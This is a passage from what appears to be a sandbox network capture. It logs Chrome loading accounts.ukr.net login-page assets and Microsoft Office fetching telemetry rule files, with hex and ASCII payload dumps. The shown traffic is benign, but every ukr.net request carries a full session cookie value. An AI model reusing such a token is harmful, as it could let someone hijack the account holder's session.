2024-10-26 11:49:08 UTC	503	OUT	GET /login/assets/illustration-dark-mode-2281edaa.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:08 UTC	336	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:08 GMT Content-Type: image/svg+xml Content-Length: 9906 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-26b2" Expires: Sat, 09 Nov 2024 11:49:08 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:08 UTC	9906	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 67 20 73 74 72 6f 6b 65 3d 22 23 39 62 61 31 61 39 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 36 33 2e 31 36 31 20 34 35 35 2e 35 48 35 39 7a 4d 34 34 34 20 34 35 35 2e 35 48 33 33 39 2e 38 33 39 7a 22 2f 3e 3c 2f 67 3e 3c 67 20 73 74 72 6f 6b 65 3d 22 23 39 62 61 31 61 39 22 3e 3c 70 61 74 68 20 64 3d 22 4d 35 36 35 2e 34 34 37 20 33 37 32 2e 37 38 38 63 33 2e 37 36 33 20 31 2e 31 34 39 20 37 2e 36 32 33 20 32 2e 36 32 20 39 2e 33 37 20 34 2e 32 30 31 20 30 20 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g stroke="#9ba1a9"><path d="M163.161 455.5H59zM444 455.5H339.839z"/></g><g stroke="#9ba1a9"><path d="M565.447 372.788c3.763 1.149 7.623 2.62 9.37 4.201 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49776	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:08 UTC	485	OUT	GET /api/v1/token/analytics/acquire HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:08 UTC	170	IN	HTTP/1.1 405 Method Not Allowed Server: nginx Date: Sat, 26 Oct 2024 11:49:08 GMT Content-Length: 0 Connection: close Allow: POST X-Upstream: 4210.10.20.37:5080

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49778	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:08 UTC	501	OUT	GET /login/assets/illustration-support-a8ca1214.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:08 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:08 GMT Content-Type: image/svg+xml Content-Length: 12470 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-30b6" Expires: Sat, 09 Nov 2024 11:49:08 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.37:5080
2024-10-26 11:49:08 UTC	12470	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 64 65 66 73 3e 3c 70 61 74 68 20 69 64 3d 22 61 22 20 64 3d 22 4d 34 20 30 68 32 36 32 61 34 20 34 20 30 20 30 20 31 20 34 20 34 76 31 38 35 48 30 56 34 61 34 20 34 20 30 20 30 20 31 20 34 2d 34 22 2f 3e 3c 6d 61 73 6b 20 69 64 3d 22 62 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 3e 3c 75 73 65 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 23 61 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 2f 3e 3c 2f 6d 61 73 6b 3e 3c 2f 64 65 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><defs><path id="a" d="M4 0h262a4 4 0 0 1 4 4v185H0V4a4 4 0 0 1 4-4"/><mask id="b" fill="#fff"><use xlink:href="#a" fill-rule="evenodd"/></mask></de

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49785	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:08 UTC	501	OUT	GET /login/assets/illustration-popular-bfc8c819.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:08 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:08 GMT Content-Type: image/svg+xml Content-Length: 37423 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-922f" Expires: Sat, 09 Nov 2024 11:49:08 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:08 UTC	16047	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 39 62 61 31 61 39 22 20 64 3d 22 4d 32 38 37 2e 33 38 35 20 34 35 34 2e 36 32 36 76 31 48 39 31 76 2d 31 7a 6d 2d 32 31 31 2e 33 38 35 20 30 76 31 48 35 38 76 2d 31 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 39 35 35 35 32 37 22 20 64 3d 22 4d 31 39 31 2e 32 34 39 20 31 31 30 2e 37 36 34 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><g fill="none" fill-rule="evenodd"><path fill="#9ba1a9" d="M287.385 454.626v1H91v-1zm-211.385 0v1H58v-1z"/><path fill="#955527" d="M191.249 110.764
2024-10-26 11:49:08 UTC	16384	IN	Data Raw: 32 2d 2e 39 31 20 31 2e 32 34 33 2d 31 2e 33 37 39 20 31 2e 36 33 36 2d 2e 34 35 34 2e 33 38 31 2d 2e 38 36 38 2e 37 34 38 2d 31 2e 35 38 35 20 31 2e 33 39 38 6c 2d 2e 32 31 2e 31 39 31 63 2d 32 2e 33 37 31 20 32 2e 31 34 38 2d 33 2e 35 33 34 20 33 2e 30 35 36 2d 35 2e 31 33 38 20 33 2e 38 30 35 2d 34 2e 36 34 31 20 32 2e 31 36 37 2d 37 2e 34 34 37 20 34 2e 38 37 32 2d 38 2e 39 30 31 20 38 2e 39 38 32 2d 31 2e 38 32 35 20 35 2e 31 35 39 2d 35 2e 32 36 38 20 38 2e 31 30 38 2d 31 30 2e 35 31 34 20 38 2e 36 33 32 2d 32 2e 32 35 34 2e 32 32 36 2d 33 2e 36 31 33 2e 39 37 39 2d 34 2e 30 34 31 20 32 2e 36 30 38 2d 2e 34 34 34 20 31 2e 36 39 35 2e 32 30 38 20 32 2e 37 34 32 20 32 2e 33 39 38 20 34 2e 36 39 37 2e 32 34 38 2e 32 32 31 2e 34 38 31 2e 33 38 31 20 31 Data Ascii: 2-.91 1.243-1.379 1.636-.454.381-.868.748-1.585 1.398l-.21.191c-2.371 2.148-3.534 3.056-5.138 3.805-4.641 2.167-7.447 4.872-8.901 8.982-1.825 5.159-5.268 8.108-10.514 8.632-2.254.226-3.613.979-4.041 2.608-.444 1.695.208 2.742 2.398 4.697.248.221.481.381 1
2024-10-26 11:49:08 UTC	4992	IN	Data Raw: 2e 30 32 37 2d 2e 30 38 38 2e 34 32 35 2d 34 2e 31 37 33 20 32 30 2e 32 32 31 2d 2e 30 34 2e 31 39 33 2d 2e 31 38 39 2e 30 35 37 63 2d 34 2e 36 34 36 20 31 2e 34 30 35 2d 38 2e 37 31 32 20 31 2e 34 39 36 2d 31 32 2e 31 39 33 2e 32 36 33 2d 34 2e 31 35 34 2d 31 2e 34 37 31 2d 35 2e 37 39 34 2d 31 2e 35 30 31 2d 38 2e 30 39 36 2d 2e 35 31 34 6c 2d 2e 32 36 32 2d 2e 36 31 63 32 2e 34 36 37 2d 31 2e 30 35 38 20 34 2e 32 37 38 2d 31 2e 30 32 35 20 38 2e 35 37 39 2e 34 39 38 20 33 2e 33 33 36 20 31 2e 31 38 31 20 37 2e 32 36 20 31 2e 30 39 34 20 31 31 2e 37 37 39 2d 2e 32 37 33 6c 2d 2e 31 38 39 2e 30 35 36 20 34 2e 30 34 36 2d 31 39 2e 36 30 35 2d 2e 30 36 35 2e 30 30 34 71 2d 36 2e 37 34 2e 33 32 32 2d 31 34 2e 30 31 36 2d 31 2e 38 33 31 6c 2d 2e 35 34 2d 2e Data Ascii: .027-.088.425-4.173 20.221-.04.193-.189.057c-4.646 1.405-8.712 1.496-12.193.263-4.154-1.471-5.794-1.501-8.096-.514l-.262-.61c2.467-1.058 4.278-1.025 8.579.498 3.336 1.181 7.26 1.094 11.779-.273l-.189.056 4.046-19.605-.065.004q-6.74.322-14.016-1.831l-.54-.

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49784	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:08 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:08 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 31a53d7e-801e-00a3-74f7-217cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114908Z-16849878b7898p5f6vryaqvp5800000002q000000000g5ye x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:08 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49782	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:08 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:08 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:08 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 61eb11ed-f01e-003c-1542-278cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114908Z-r197bdfb6b4zd9tpkpdngrtchw0000000190000000003k2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:08 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49780	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:08 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:08 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:08 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114908Z-16849878b78j5kdg3dndgqw0vg00000003ng00000000ash2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:08 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49781	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:08 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:08 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114908Z-16849878b78nx5sne3fztmu6xc00000002v000000000deya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:08 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49783	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:08 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:08 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:08 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: cddcf92d-501e-008f-6a41-269054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114908Z-17c5cb586f6w4mfs5xcmnrny6n00000003fg000000007016 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:08 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49790	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:09 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:09 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:09 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1f7bc680-101e-0065-6904-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114909Z-16849878b787bfsh7zgp804my400000000v0000000002dxe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:09 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49791	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:09 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:09 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 88497579-201e-0000-113a-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114909Z-r197bdfb6b4c8q4qvwwy2byzsw00000002900000000011du x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
